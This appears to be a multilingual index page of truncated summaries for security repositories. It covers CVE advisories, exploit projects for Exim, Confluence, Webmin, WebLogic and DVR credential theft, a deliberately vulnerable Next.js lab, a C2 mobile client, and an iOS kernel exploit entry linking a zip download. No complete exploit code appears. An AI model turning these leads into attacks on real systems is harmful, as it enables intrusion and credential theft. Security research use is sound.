CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "Se ha informado de una vulnerabilidad de asignación incorrecta de permisos para un recurso crítico que afecta a Qsync Central. Si se explota,...

CVE-2025-43921

CVE-2025-43921: Creación no autenticada de listas de correo en GNU Mailman 2.1.39 paquete cPanel/WHM Descubierto por: Firudin Davudzada y Musazada Aydan Fecha de divulgación: Abril 2025 ID de CVE: CVE-2025-43921 Gravedad: 5.3 Medio CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Tipo de ataque: Remo...

CVE-2023-45657

CVE-2023-45657 Nexter = 2.0.3 - Inyección SQL autenticada Suscriptor+ a través de 'to' y 'from' Descripción: El tema Nexter para WordPress es vulnerable a Inyección SQL a través de los parámetros 'to' y 'from' en versiones hasta, e incluyendo, la 2.0.3 debido a un escape insuficiente en el...

libvshadow

libvshadow è una libreria per accedere al formato Volume Shadow Snapshot VSS. Il formato VSS è utilizzato da Windows, a partire da Vista, per mantenere copie dei dati su un volume di archiviazione. Informazioni sul progetto: Stato: alpha Licenza: LGPL-3.0-or-later Vedi anche: OSDFC 2012: Articolo...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - Local Privilege Escalation Cr.Link: https://www.exploit-db.com/exploits/46996 1.This method requires you to first access the target machine with standard user privileges. 2.Once you have accessed the target machine, create a script file with the following content: vi raptor....

CVE-2023-22518

CVE-2023-22518 Exploit para Confluence CVE-2023-22518 backup-restore RCE Endpoint POST /setup/setup-restore.action Requiere un inicio de sesión válido y derechos de administrador o un bypass de autenticación Archivos xmlexport-20231127-071916-1.zip – copia de seguridad vacía de Confluence...

CVE-2019-13403

CVE-2019-13403 Informe: Mayo 2019 Solución: Mayo 2019 Crédito: B3Bo1d Descripción Temenos CWX versión 8.9 tiene una vulnerabilidad de Control de Acceso Roto en el módulo /CWX/Employee/EmployeeEdit2.aspx, lo que lleva a la visualización de información del usuario. PoC Antes Después Referencia...

aziot-cctv-cve-2025-50777

aziot-cctv-cve-2025-50777 CVE-2025-50777: Acceso Root y Exposición de Credenciales en Texto Plano en AZIOT Smart CCTV Resumen Se ha identificado una vulnerabilidad de control de acceso local CVE-2025-50777 en el firmware de la AZIOT 2MP Full HD Smart Wi-Fi CCTV Home Security Camera Versión de...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authenticated Exploit para la vulnerabilidad de Remote Code Execution en Webmin versiones anteriores a 1.997, a través del módulo Software Package Updates. ¿Cómo funciona? El módulo Software Package Updates de Webmin no sanitiza correctamente el parámetro u antes...

CVE-2020-14882

WebLogic RCE Vulnerability - CVE-2020-14882 Introduction CVE-2020-14882 is a remote code execution RCE flaw in the Console component of Oracle WebLogic Server. The pre-authentication flaw was given an attack complexity of “low” and highlighted as “easily exploitable” by Oracle resulting in it bei...

CVE-2022-1972-infoleak-PoC

CVE-2022-1972 PoC de infoleak Exploit de infoleak para CVE-2022-1972. Puede encontrar el análisis asociado en nuestro blog Requisitos Los espacios de nombres de usuario deben estar disponibles para usuarios no privilegiados. $ sysctl kernel.unprivilegedusernsclone kernel.unprivilegedusernsclone =...

SOC235---Atlassian-Confluence-Broken-Access-Control-0-Day-CVE-2023-22515

EVENTID-197 field| Value ---|--- EventID| 197 Event Time| Nov, 09, 2023, 09:47 AM Rule| SOC235 - Atlassian Confluence Broken Access Control 0-Day CVE-2023-22515 Level| Security Analyst Hostname| Confluence Data Center Destination IP Address| 172.16.17.234 Source IP Address| 43.130.1.222 HTTP...

CVE-2020-24029

CVE-2020-24029 Description Because of unauthenticated password changes in ForLogic Qualiex v1 and v3, customer and admin permissions and data can be accessed via a simple request. Important Dates Announcement to Vendor: 2020-07-12 Public disclosure date: 2020-08-31 Vulnerability Type Incorrect...

CVE-2024-54378

CVE-2024-54378 Quietly Insights = 1.2.2 - Autorización faltante para actualización arbitraria de opciones por parte de usuarios autenticados Suscriptor+ Descripción El plugin Quietly Insights para WordPress es vulnerable a la modificación no autorizada de datos que puede llevar a una escalada de...

CVE-2018-9995_dvr_credentials

Herramienta Mostrar credenciales DVR Título del Exploit: "Obtener credenciales DVR" CVE: CVE-2018-9995 Puntuación Base CVSS v3: 7.3 / 10 Vector CVSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Fecha: 09/04/2018 Autor del Exploit: Fernandez Ezequiel twitter:@capitanalfa Exploit: $ curl...

Nextjs-middleware-vulnerable-appdemo-CVE-2025-29927

Aplicación Next.js Vulnerable para Práctica de Pentesting Esta es una aplicación Next.js diseñada intencionalmente para ser vulnerable a CVE-2025-29927: La Vulnerabilidad de Bypass de Autorización de Middleware de Next.js. ⚠️ Aviso Legal Esta aplicación es solo para fines educativos y de hacking...

CVE-2022-23529-Exploration

CVE-2022-23529 Las versiones de la librería JSON Web Token JWT anteriores a 3.4.6, 4.0.4 y 4.1.5 son vulnerables a RCE. Las funciones hash HMAC aceptan cualquier cadena como entrada, lo que conduce a RCE. Debido a las condiciones previas, es probable que esta vulnerabilidad no sea explotable. Par...

porterminal

Give your agent any computer One command. One URL. A real terminal for your agent, a live view for you. Run Porterminal on a Windows, macOS, or Linux computer and give the generated link to your AI agent. It gets a real shell with the files, tools, and projects on that machine. Open the same link...

oob_entry

oobentry: Investigación autorizada de exploits del kernel de iOS para acceso tfp0 Visita las versiones: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip Un espacio tranquilo y cuidadoso para que los investigadores documenten, discutan y compartan conocimientos sob...

GeckoDroid

GeckoDroid Client mobile per Adaptix C2 Framework. Accesso completo dell'operatore dal tuo dispositivo Android. Cosa fa GeckoDroid ti dà il controllo del tuo server Adaptix C2 da qualsiasi luogo. Invece di stare seduto al tuo client desktop, puoi gestire le operazioni in movimento. Agenti - Vedi...